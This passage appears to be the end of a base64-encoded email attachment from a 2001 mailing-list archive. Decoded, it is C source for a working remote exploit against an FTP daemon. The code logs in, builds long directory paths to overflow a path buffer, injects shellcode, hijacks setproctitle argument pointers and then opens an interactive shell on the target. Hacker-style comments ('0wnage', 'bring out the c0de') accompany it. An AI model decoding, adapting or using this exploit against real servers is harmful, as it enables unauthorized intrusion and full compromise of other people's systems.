KCJzb2NrZXQoKSBmYWlsZWQiKTsKICBpZihjb25uZWN0KGZkLCAmdGFyZ2V0 LCBzaXplb2YodGFyZ2V0KSkpIGJhaWxlKCJjb25uZWN0KCkgZmFpbGVkIik7 CiAgCiAgLyogR2V0IGxvY2FsIGhvc3RuYW1lICovCiAgbWVfbGVuPXNpemVv ZihtZSk7CiAgaWYoZ2V0c29ja25hbWUoZmQsICZtZSwgJm1lX2xlbikpCiAg ICBiYWlsZSgiVW5hYmxlIHRvIGRldGVybWluZSBsb2NhbCBob3N0bmFtZSEi KTsKICBpZigoaGU9Z2V0aG9zdGJ5YWRkcigoY2hhciAqKSZtZS5zaW5fYWRk ciwgc2l6ZW9mKG1lLnNpbl9hZGRyKSwgQUZfSU5FVCkpKQogICAgbG9jYWxf aG9zdG5hbWU9c3RyZHVwKGhlLT5oX25hbWUpOwogIGVsc2UgaWYoKHA9aW5l dF9udG9hKG1lLnNpbl9hZGRyKSkpIHsKICAgIHN0cmNweShsb2NhbF9ob3N0 bmFtZSwgcCk7CiAgfQogIGVsc2UKICAgIGJhaWxlKCJVbmFibGUgdG8gZGV0 ZXJtaW5lIGxvY2FsIGhvc3RuYW1lISIpOwoKICBwcmludGYoIioqKiBMb2Nh bCBob3N0bmFtZTogJXNcbiIsIGxvY2FsX2hvc3RuYW1lKTsKICByZXR1cm4g ZmQ7Cn0KCgpjaGFyICpnZXRfcmVzcG9uc2Vfc3RyKCkgewogIHN0YXRpYyBj aGFyIGJ1ZlsxNjM4NF07IC8qIFllciBsZWV0LWhhY2tlZC11cCBmdHBkIGNh biAwd24gdGhlIHNwbG9pdGVyIEJdICovCiAgY2hhciAqcDsKCiAgcD1idWY7 CiAgd2hpbGUocmVhZChjdHJsLCBwLCAxKSA9PSAxKSB7CiAgICBpZigqcCA9 PSAnXHInKSB7CiAgICAgICpwKys9MDsKICAgICAgd2hpbGUocmVhZChjdHJs LCBwLCAxKSA9PSAxICYmICpwICE9ICdcbicpCgk7CiAgICAgIGlmKGJ1Zlsz XSA9PSAnICcpIHsKCWlmKHZlcmJvc2UgPT0gMSkKCSAgcHJpbnRmKCIlNC40 c1xuIiwgYnVmKTsKCWVsc2UgaWYodmVyYm9zZSA+PSAyKQoJICBwcmludGYo IiVzXG4iLCBidWYpOwoJICAKCXJldHVybiBidWY7CiAgICAgIH0KICAgICAg cD1idWY7CiAgICAgIGNvbnRpbnVlOwogICAgfQogICAgKytwOwogIH0KICBi YWlsKCJTZXJ2ZXIgZGlzY29ubmVjdGVkLiIpOwogIHJldHVybiAwOyAvKiBO ZXZlciByZWFjaGVkICovCn0KCgppbnQgZ2V0X3Jlc3BvbnNlKCkgewogIGNo YXIgKnM7CgogIHM9Z2V0X3Jlc3BvbnNlX3N0cigpOwogIGlmKCFpc2RpZ2l0 KHNbMF0pIHx8ICFpc2RpZ2l0KHNbMV0pIHx8IWlzZGlnaXQoc1syXSkpCiAg ICBiYWlsKCJJbGxlZ2FsIHJlc3BvbnNlIGZyb20gc2VydmVyLiIpOwogIHJl dHVybiBhdG9pKHMpOwp9CgoKdm9pZCBzZW5kX2NvbW1hbmQodW5zaWduZWQg Y2hhciAqY21kKSB7CiAgaWYodmVyYm9zZSA9PSAxKSBwcmludGYoIi0tPiAl NC40c1xuIiwgY21kKTsKICBpZih2ZXJib3NlID49IDIpIHByaW50ZigiLS0+ ICVzXG4iLCBjbWQpOwogIHdoaWxlKCpjbWQpIHsKICAgIGlmKHdyaXRlKGN0 cmwsIGNtZCwgMSkgIT0gMSkgYmFpbGUoIndyaXRlIGZhaWxlZCIpOwogICAg aWYoKmNtZCA9PSAweGZmKSAvKiAweGZmIC0+IElBQyBJQUMgKi8KICAgICAg aWYod3JpdGUoY3RybCwgY21kLCAxKSAhPSAxKSBiYWlsZSgid3JpdGUgZmFp bGVkIik7CiAgICArK2NtZDsKICB9CiAgaWYod3JpdGUoY3RybCwgIlxyXG4i LCAyKSAhPSAyKQogICAgYmFpbGUoIndyaXRlIGZhaWxlZCIpOwp9CgoKaW50 IG1rZF9jd2QoY2hhciAqZGlyKSB7CiAgY2hhciBidWZbMTAyNF07CiAgaW50 IHI7CgogIHNwcmludGYoYnVmLCAiTUtEICVzIiwgZGlyKTsKICBzZW5kX2Nv bW1hbmQoYnVmKTsKICByPWdldF9yZXNwb25zZSgpOwogIGlmKHIgIT0gIDI1 NyAmJiByICE9IDUyMSkgeyAKICAgIHByaW50ZigiKioqIEZhaWxlZCB0byBj cmVhdGUgZGlyIChyZXBseT0lZClcbiIsIHIpOwogICAgYmFpbCgiQWJvcnRp bmcuIik7CiAgfQogIHNwcmludGYoYnVmLCAiQ1dEICVzIiwgZGlyKTsKICBz ZW5kX2NvbW1hbmQoYnVmKTsKICByPWdldF9yZXNwb25zZSgpOwogIGlmKHIg IT0gMjUwICYmIG1rZF9jd2RfYmFpbF9vbl9lcnJvcikgYmFpbCgiQ1dEIGZh aWxlZC4iKTsKICByZXR1cm4gcjsKfQoKCi8qIHVwZGF0ZV9idWZmZXIoKSAr IHNob3ZlbF9kYXRhKCkgbW92ZXMgZGF0YSBiZXR3ZWVuIHRoZSBzaGVsbCBh bmQgdGhlCiAqIGxvY2FsIHRlcm1pbmFsLgogKi8KCiNkZWZpbmUgQlVGU0la RSAxMjgKCmludCB1cGRhdGVfYnVmZmVyKGNoYXIgKmJ1ZiwgaW50ICppZHgs IGludCB0aGlzb25lLCBpbnQgZGlyZWN0aW9uKSB7CiAgaWYodGhpc29uZSA8 IDApIHsKICAgIGlmKGVycm5vID09IEVJTlRSIHx8IGVycm5vID09IEVXT1VM REJMT0NLKQogICAgICByZXR1cm4gMDsKICAgIHJldHVybiAxOwogIH0KICBp ZighdGhpc29uZSkKICAgIHJldHVybiAxOwogIGlmKGRpcmVjdGlvbiA8IDAp IHsKICAgIGlmKHRoaXNvbmUgPCAqaWR4KQogICAgICBtZW1tb3ZlKGJ1Ziwg JmJ1Zlt0aGlzb25lXSwgKmlkeC10aGlzb25lKTsKICAgICppZHgtPXRoaXNv bmU7CiAgfQogIGVsc2UKICAgICppZHgrPXRoaXNvbmU7CiAgcmV0dXJuIDA7 Cn0KCgp2b2lkIHNob3ZlbF9kYXRhKGludCBuZXRmZCkgewogIGZkX3NldCBS LFc7CiAgY2hhciBvYnVmW0JVRlNJWkVdLCBpYnVmW0JVRlNJWkVdOwogIGlu dCBvLCBpOwogIGludCBkb25lOwogIAogIGZjbnRsKFNURElOX0ZJTEVOTywg Rl9TRVRGTCwgT19OT05CTE9DSyk7CiAgZmNudGwoU1RET1VUX0ZJTEVOTywg Rl9TRVRGTCwgT19OT05CTE9DSyk7CiAgZmNudGwobmV0ZmQsIEZfU0VURkws IE9fTk9OQkxPQ0spOwogIAogIG89aT1kb25lPTA7CiAgd2hpbGUoIWRvbmUp IHsKICAgIEZEX1pFUk8oJlIpOyBGRF9aRVJPKCZXKTsKICAgIGlmKGkgPiAw KSBGRF9TRVQoU1RET1VUX0ZJTEVOTywgJlcpOwogICAgaWYoaSA8IEJVRlNJ WkUpIEZEX1NFVChuZXRmZCwgJlIpOwogICAgaWYobyA+IDApIEZEX1NFVChu ZXRmZCwgJlcpOwogICAgaWYobyA8IEJVRlNJWkUpIEZEX1NFVChTVERJTl9G SUxFTk8sICZSKTsKICAgIAogICAgc2VsZWN0KG5ldGZkKzEsICZSLCAmVywg MCwgMCk7CiAgICAKICAgIGlmKEZEX0lTU0VUKFNURE9VVF9GSUxFTk8sICZX KSkKICAgICAgZG9uZXw9dXBkYXRlX2J1ZmZlcihpYnVmLCAmaSwgd3JpdGUo U1RET1VUX0ZJTEVOTywgaWJ1ZiwgaSksIC0xKTsKICAgIGlmKEZEX0lTU0VU KG5ldGZkLCAmVykpCiAgICAgIGRvbmV8PXVwZGF0ZV9idWZmZXIob2J1Ziwg Jm8sIHdyaXRlKG5ldGZkLCBvYnVmLCBvKSwgLTEpOwogICAgaWYoRkRfSVNT RVQoU1RESU5fRklMRU5PLCAmUikpCiAgICAgIGRvbmV8PXVwZGF0ZV9idWZm ZXIob2J1ZiwgJm8sIHJlYWQoU1RESU5fRklMRU5PLCAmb2J1ZltvXSwgQlVG U0laRS1vKSwxKTsKICAgIGlmKEZEX0lTU0VUKG5ldGZkLCAmUikpCiAgICAg IGRvbmV8PXVwZGF0ZV9idWZmZXIoaWJ1ZiwgJmksIHJlYWQobmV0ZmQsICZp YnVmW2ldLCBCVUZTSVpFLWkpLCAxKTsKICB9Cn0KCgovKiBEbyB0aGUgc3R1 ZmYgY29tbW9uIHRvIHRoZSBhdHRhY2tzICovCgppbnQgZG9fcHJvbG9ndWUo KSB7CiAgY2hhciBidWZbMTAyNF07CiAgY2hhciAqcywgKnQ7CiAgaW50IHBv czsKCiAgdmVyYm9zZT0yOwogIG1rZF9jd2RfYmFpbF9vbl9lcnJvcj0xOwoK ICBpZihnZXRfcmVzcG9uc2UoKSAhPSAyMjApIGJhaWwoIk5vIHdlbGNvbWUg YmFubmVyLiIpOwogIHNwcmludGYoYnVmLCAiVVNFUiAlcyIsIHRhcmdldF91 c2VyKTsKICBzZW5kX2NvbW1hbmQoYnVmKTsKICBpZihnZXRfcmVzcG9uc2Uo KSAhPSAzMzEpIGJhaWwoIlVTRVIgZmFpbGVkLiIpOwogIHNwcmludGYoYnVm LCAiUEFTUyAlcyIsIHRhcmdldF9wYXNzKTsKICBzZW5kX2NvbW1hbmQoYnVm KTsKICBpZihnZXRfcmVzcG9uc2UoKSAhPSAyMzApIGJhaWwoIlBBU1MgZmFp bGVkLiIpOwogIGlmKHRhcmdldF9kaXIpIHsKICAgIHNwcmludGYoYnVmLCAi Q1dEICVzIiwgdGFyZ2V0X2Rpcik7CiAgICBzZW5kX2NvbW1hbmQoYnVmKTsK ICAgIGlmKGdldF9yZXNwb25zZSgpICE9IDI1MCkgYmFpbCgiQ1dEIDx3cml0 YWJsZSBkaXI+IGZhaWxlZC4iKTsKICB9CiAgc2VuZF9jb21tYW5kKCJQV0Qi KTsKICBzPWdldF9yZXNwb25zZV9zdHIoKTsKICBpZihzdHJuY21wKCIyNTcg XCIiLCBzLCA1KSB8fCAhKHQ9c3RyY2hyKCZzWzVdLCAnIicpKSkKICAgIGJh aWwoIlVuYWJsZSB0byBnZXQgY3VycmVudCBkaXJlY3RvcnkuIik7CgogIC8q IFBvcyBpcyBob3cgbXVjaCBvZiBtYXBwZWRfcGF0aCBpcyB1c2VkIHNvIGZh ciAoZXhjbHVkaW5nIE5VTEwpICovCiAgcG9zPSh0LShzKzUpKTsKCiAgcHJp bnRmKCIqKiogQ3JlYXRpbmcgZGVlcCBkaXJlY3RvcnkuIFRoaXMgbWF5IHRh a2Ugc29tZSB0aW1lLi4uXG4iKTsKICB2ZXJib3NlPTA7CgogIC8qIEFsaWdu IHRvIDI1NiBieXRlcyAoZXhjbHVkaW5nIHRyYWlsaW5nIC8pICovCiAgbWVt c2V0KGJ1ZiwgJ0EnLCBzaXplb2YoYnVmKSk7CiAgYnVmWzI1Ni0ocG9zKzEp XT0wOwogIG1rZF9jd2QoYnVmKTsKICBwb3MrPTErc3RybGVuKGJ1Zik7Cgog IC8qIEtlZXAgZ29pbmcgKi8KICBtZW1zZXQoYnVmLCAnQScsIHNpemVvZihi dWYpKTsKICBidWZbMjU1XT0wOwogIHdoaWxlKHBvcysyNTUgPCBtYXBwZWRf cGF0aF9zaXplLTI1NioyKSB7CiAgICBta2RfY3dkKGJ1Zik7CiAgICBwb3Mr PTErc3RybGVuKGJ1Zik7CiAgfQoKICBwcmludGYoIioqKiBUaW1lIHRvIGJy aW5nIG91dCB0aGUgYzBkZS4uLlxuIgoJICIqKiogUmVwbHkgY29kZXM6IDI1 MD1PSywgNTIxPUV4aXN0cywgMjU3PUNyZWF0ZWQsIDV4eD1GYWlsZWRcbiIp OwogIHZlcmJvc2U9MTsKCiAgLyogYWxhcm0oMCkgQn0gKi8KICAvKiBjMGRl WzEzMV09YzBkZVsxMzJdPWMwZGVbMjU1XTsgKi8KCiAgLyogRmlyc3QgcGFy dCBvZiB0aGUgY29kZSAqLwogIHN0cm5jcHkoYnVmLCBjMGRlLCAyNTUpOwog IGJ1ZlsyNTVdPTA7CiAgbWtkX2N3ZChidWYpOwogIHBvcys9MSsyNTU7Cgog IC8qIFNlY29uZCBwYXJ0ICsgcGFkICovCiAgbWVtc2V0KGJ1ZiwgJ0EnLCBz aXplb2YoYnVmKSk7CiAgc3RybmNweShidWYsIGMwZGUrMjU2LCBDMERFX1NJ WkUtMjU2KTsKICBidWZbMjU1LTEyLTFdPTA7CiAgbWtkX2N3ZChidWYpOwog IHBvcys9MStzdHJsZW4oYnVmKTsKCiAgLyogU29mYXIgbW1hcGVkX3BhdGhf c2l6ZS0xMiBieXRlcyBvZiBtYXBwZWRfcGF0aCBpcyB1c2VkIChpbmNsdWRp bmcgbnVsbCkgKi8KCiAgcmV0dXJuIHBvczsKfQoKCnZvaWQgYXR0YWNrX2Fu b24oKSB7CiAgY2hhciBidWZbMTAyNF07CiAgaW50IHBvczsKCiAgaWYodGFy Z2V0X3VzZXIgfHwgdGFyZ2V0X3Bhc3MpCiAgICBiYWlsKCJTb3JyeSwgdGhp cyB0eXBlIG9ubHkgd29ya3MgZm9yIGFub255bW91cyBGVFAuLi4iKTsKCiAg cHJpbnRmKCIqKiogTG9nZ2luZyBpbiBhcyBhbm9ueW1vdXMuXG4iKTsKCiAg Y3RybD1jb25uZWN0X2hvc3QoKTsKCiAgLyogQ2FsY3VsYXRlIG9mZnNldHMg Ki8gCiAgYzBkZV9hZGRyPW1hcHBlZF9wYXRoK21hcHBlZF9wYXRoX3NpemUt MjU1LTI1NjsKICBvd25lZF9Bcmd2PW1hcHBlZF9wYXRoK21hcHBlZF9wYXRo X3NpemUtODsKICBvd25lZF9MYXN0QXJndj1laXBfYWRkcis0KzI7IC8qICsy IGJlY2F1c2Ugc3B0KCkgd29ya3MgdGhhdCB3YXkgKi8KICAvKiAiZnRwZDog PGhvc3Q+OiBhbm9ueW1vdXMvIiAqLwogIG93bmVkX0FyZ3YwPWVpcF9hZGRy LSg2K3N0cmxlbihsb2NhbF9ob3N0bmFtZSkrMTIpOwoKICB0YXJnZXRfdXNl cj0iYW5vbnltb3VzIjsKICBzcHJpbnRmKGJ1ZiwgIiVzQHR0YS5jayIsIGh0 b2xfTEVzdHIoYzBkZV9hZGRyKSk7CiAgdGFyZ2V0X3Bhc3M9YnVmOwogIAog IHBvcz1kb19wcm9sb2d1ZSgpOwoKICAvKiBUaGlzIGxhc3QgYmxvY2sgc3Rh cnRzIGF0IG1hcHBlZF9wYXRoW21hcHBlZF9wYXRoX3NpemUtMTJdICovCiAg bWVtc2V0KGJ1ZiwgJ0EnLCBzaXplb2YoYnVmKSk7CiAgLyogU2tpcCBlZWVl IGZvciB0aGlzIG1ldGhvZCAqLwogIHN0cm5jcHkoYnVmKzQsIGh0b2xfTEVz dHIob3duZWRfQXJndjApLCA0KTsKICAvKiBTa2lwIHNpemVvZihvd25lZF9B cmd2MSkrc2l6ZW9mKG9uZWZpbGUpID0gNCs4ICovCiAgc3RybmNweShidWYr NCs0KzQrOCwgaHRvbF9MRXN0cihvd25lZF9Bcmd2KSwgNCk7CiAgc3RyY3B5 KCBidWYrNCs0KzQrOCs0LCBodG9sX0xFc3RyKG93bmVkX0xhc3RBcmd2KSk7 CiAgcG9zKz0xK3N0cmxlbihidWYpOwoKICBwcmludGYoIioqKiBUb3RhbCBl Z2cgc2l6ZSBpcyAlZC4gU2VuZGluZyBmaW5hbCBjb21wb25lbnQuXG4iLCBw b3MpOwogIG1rZF9jd2RfYmFpbF9vbl9lcnJvcj0wOyAvKiBJZ25vcmUgdGhl IGZpbmFsIENXRCByZXR1cm4gY29kZSAqLwogIG1rZF9jd2QoYnVmKTsKICBw cmludGYoIioqKiBOMHcgdzB1MWQgYjMgNCBnMDBkIDcxbTMgNzAgZzAgNTRj UjFmMWMzIDQgZzA0NyA0bkRcbiIKCSAiKioqIHByNFkgdDAgN2gzIGcwRCAw ZiAwZmY1Mzd6Li4uXG5cbiIpOwogIC8qIENhdXNlIGxvbmdqbXAoZXJyY2F0 Y2gpIC0gb25seSBuZWVkZWQgZm9yIHRoZSBlcnJjYXRjaCBtZXRob2QgKi8K ICB3cml0ZShjdHJsLCAiTVJDUFxyXG4iLCA2KTsKfQoKCnZvaWQgYXR0YWNr X2FueSgpIHsKICBjaGFyIGJ1ZlsxMDI0XTsKICBpbnQgcG9zOwogIGludCBw cmVmaXhsZW47CgogIGlmKCF0YXJnZXRfdXNlciB8fCAhdGFyZ2V0X3Bhc3Mp IHsKICAgIHRhcmdldF91c2VyPSJhbm9ueW1vdXMiOwogICAgdGFyZ2V0X3Bh c3M9ImNyQGNrLmVyIjsKICAgIHByaW50ZigiKioqIExvZ2dpbmcgaW4gYXMg YW5vbnltb3VzLlxuIik7CiAgfQogIAogIGN0cmw9Y29ubmVjdF9ob3N0KCk7 CgogIC8qIENhbGN1bGF0ZSBvZmZzZXRzICovCiAgYzBkZV9hZGRyPW1hcHBl ZF9wYXRoK21hcHBlZF9wYXRoX3NpemUtMjU1LTI1NjsKICBvd25lZF9Bcmd2 PW1hcHBlZF9wYXRoK21hcHBlZF9wYXRoX3NpemUtODsKICAvKiAiZnRwZDog PGhvc3Q+OiA8dXNlcj46IENXRCAiICovCiAgcHJlZml4bGVuPTE0K3N0cmxl bihsb2NhbF9ob3N0bmFtZSkrc3RybGVuKHRhcmdldF91c2VyKTsKICAKICAv KiAnYW5vbnltb3VzLycgcGFzcyAqLwogIGlmKCFzdHJjbXAodGFyZ2V0X3Vz ZXIsICJmdHAiKSB8fCAhc3RyY21wKHRhcmdldF91c2VyLCAiYW5vbnltb3Vz IikpCiAgICBwcmVmaXhsZW4rPXN0cmxlbih0YXJnZXRfcGFzcykrMS1zdHJs ZW4odGFyZ2V0X3VzZXIpKzk7CiAgCiAgcG9zPWRvX3Byb2xvZ3VlKCk7Cgog IC8qIEZpcnN0IENXRCAqLwogIG93bmVkX0FyZ3YwPWVpcF9hZGRyLXByZWZp eGxlbjsKICBvd25lZF9Bcmd2PW1hcHBlZF9wYXRoK21hcHBlZF9wYXRoX3Np emUtODsKICBvd25lZF9MYXN0QXJndj1laXBfYWRkcis0KzI7IC8qICsyIGJl Y2F1c2Ugc3B0KCkgd29ya3MgdGhhdCB3YXkgKi8KCiAgbWVtc2V0KGJ1Ziwg J0EnLCBzaXplb2YoYnVmKSk7CiAgc3RybmNweShidWYrNCwgaHRvbF9MRXN0 cihvd25lZF9Bcmd2MCksIDQpOwogIHN0cm5jcHkoYnVmKzQrNCs0KzgsIGh0 b2xfTEVzdHIob3duZWRfQXJndiksIDQpOwogIHN0cmNweSggYnVmKzQrNCs0 KzgrNCwgaHRvbF9MRXN0cihvd25lZF9MYXN0QXJndikpOwogIHBvcys9MStz dHJsZW4oYnVmKTsKICBwcmludGYoIioqKiBUb3RhbCBlZ2cgc2l6ZSBpcyAl ZC4gU2VuZGluZyAyeCBjb21iby5cbiIsIHBvcyk7CiAgdmVyYm9zZT0xOwog IHByaW50ZigiKioqIFJvdW5kLWhvdXNlIGtpY2suXG4iKTsKCiAgbWtkX2N3 ZF9iYWlsX29uX2Vycm9yPTA7IC8qIElnbm9yZSB0aGUgQ1dEIHJldHVybiBj b2RlICovCiAgaWYobWtkX2N3ZChidWYpID09IDI1MCkgewogICAgc2VuZF9j b21tYW5kKCJDV0QgLi4iKTsgLyogQmFjayB1cCBpZiB0aGUgY2hkaXIoKSB3 YXMgc3VjY2Vzc2Z1bCAqLwogICAgZ2V0X3Jlc3BvbnNlKCk7CiAgfQoKICAv KiBTZWNvbmQgQ1dELgogICAqCiAgICogQm9ycm93IHNvbWUgcm9vbSBuZWFy IFRPUF9PRl9TVEFDSyAoImZyZWUgc3BhY2UiKSBhcyBhIHNhZmUgcGxhY2Ug Zm9yCiAgICogdGhlIHJlbWFpbmluZyB0aW1lcyBzZXRwcm9jdGl0bGUoKSBp cyBjYWxsZWQuCiAgICovCiAgb3duZWRfQXJndjA9VE9QX09GX1NUQUNLLTg7 CiAgb3duZWRfTGFzdEFyZ3Y9VE9QX09GX1NUQUNLLTE7CgogIHN0cm5jcHko YnVmLCBodG9sX0xFc3RyKGMwZGVfYWRkciksIDQpOwogIHN0cm5jcHkoYnVm KzQsIGh0b2xfTEVzdHIob3duZWRfQXJndjApLCA0KTsKICBzdHJjcHkoIGJ1 Zis0KzQrNCs4KzQsIGh0b2xfTEVzdHIob3duZWRfTGFzdEFyZ3YpKTsKCiAg cHJpbnRmKCIqKiogRWxpdGUtYWlyYm9ybmUtZG91YmxlLWtpY2stdG8tdGhl LWhlYWQgYXMgZmVhdHVyZWQgaW4gIgoJICJUaGUgTWF0cml4LlxuIik7CiAg bWtkX2N3ZChidWYpOwoKICBwcmludGYoIioqKiBUcmlnZ2VyaW5nIGMwZGUu IEszM1AgeTNSIGYxTmc0eiBYLTNkIVxuIik7CiAgd3JpdGUoY3RybCwgIk1S Q1BcclxuIiwgNik7IC8qIENhdXNlIGxvbmdqbXAoZXJyY2F0Y2gpICovICAK fQoKCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsKICBpbnQg aTsKCiAgaWYoYXJnYyAhPSAzIHx8ICFpc2RpZ2l0KCphcmd2WzJdKSkgdXNh Z2UoKTsKICAKICBwYXJzZV91cmwoYXJndlsxXSk7CgogIC8qIEZpbmQgdGhl IHByZXNldCAqLwogIGZvcihpPTA7IHByZXNldHNbaV0uZGVzYzsgKytpKSB7 CiAgICBpZihpPT1hdG9pKGFyZ3ZbMl0pKQogICAgICBicmVhazsKICB9CiAg aWYoIXByZXNldHNbaV0ubXBzaXplKSBiYWlsKCJObyBzdWNoIHRhcmdldCB0 eXBlLiIpOwogIAogIG1hcHBlZF9wYXRoX3NpemU9cHJlc2V0c1tpXS5tcHNp emU7CiAgbWFwcGVkX3BhdGg9cHJlc2V0c1tpXS5tcDsKICBlaXBfYWRkcj1w cmVzZXRzW2ldLmVpcF9hZGRyOwoKICAocHJlc2V0c1tpXS5hdHRhY2spKCk7 CgogIHNpZ25hbChTSUdJTlQsIFNJR19JR04pOyAgICAvKiBHZXQgcmlkIG9m IGFjY2lkZW50YWwgY3RybC1DICovCiAgd3JpdGUoY3RybCwgImlkXG4iLCAz KTsgICAgIC8qIGFzc2VydCgwd25hZ2UpICovCiAgc2hvdmVsX2RhdGEoY3Ry bCk7CiAgd3JpdGUoY3RybCwgIlxuZXhpdFxuIiwgNik7IC8qIEV4dHJhIHNh ZmVndWFyZCBpbiBjYXNlIHVzZXIgaGl0cyBjdHJsLUQgKi8KCiAgcHJpbnRm KCJcbioqKiBJIGhvcGUgeW91IGJlaGF2ZWQuLi5cbioqKlxuKioqIG51dUJc biIpOwogIHJldHVybiAwOwp9Cg== --0-424238335-943467224=:22389--
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:14:21 PDT